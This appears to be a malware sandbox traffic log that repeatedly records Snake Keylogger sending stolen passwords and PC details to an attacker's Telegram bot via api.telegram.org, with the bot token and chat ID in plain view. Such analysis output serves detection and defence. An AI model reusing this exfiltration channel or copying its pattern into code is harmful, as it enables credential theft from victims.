Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255db91981cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dbae3519Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dbd459f3Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dc197d55Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dc3fa396Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dc5ea195Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dcc2c405Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dcf010c9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dd0f0f14Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dd2bac15Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ddbd1b4cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dde3413eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255de096688Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255de28f1b6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255de403f36Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255de5cd898Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255de7bd6f1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255de93c063Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255deb05f41Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255deca8634Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dee894c0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255df063068Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255df235a04Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255df4279f6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255dffbb2a4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e01f7428Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e0374e0eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e05df84bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e08abe89Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e0a9c32aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e0c8baa8Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e0e55880Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e104567bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e11dd96aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e13b2babHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e1615165Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e17defe5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e195c4edHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e1bbeaa3Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e1d3c50cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e1e937afHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e20f5e8aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e227801eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e24632ffHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e25baf50Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e27aa8abHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e299a6d4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e2af1b82Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e2c6f1b5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e2e6b551Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e304f2cbHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e31a64b4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e3323cacHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e3513bb4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e366b155Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e385affeHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e39d86f0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e3b2fc82Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e3c3ab75Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e3d92132Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e3f0fa00Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255e8ea1fc9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eac493ffHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eae12f37Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eaf905e4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eb180345Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eb2d79f5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eb4c7845Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ec9ca33dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ecbba305Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ecd11949Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ecf01548Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ed07eda7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ed249e37Host: api.telegram.orgContent-Length: 407
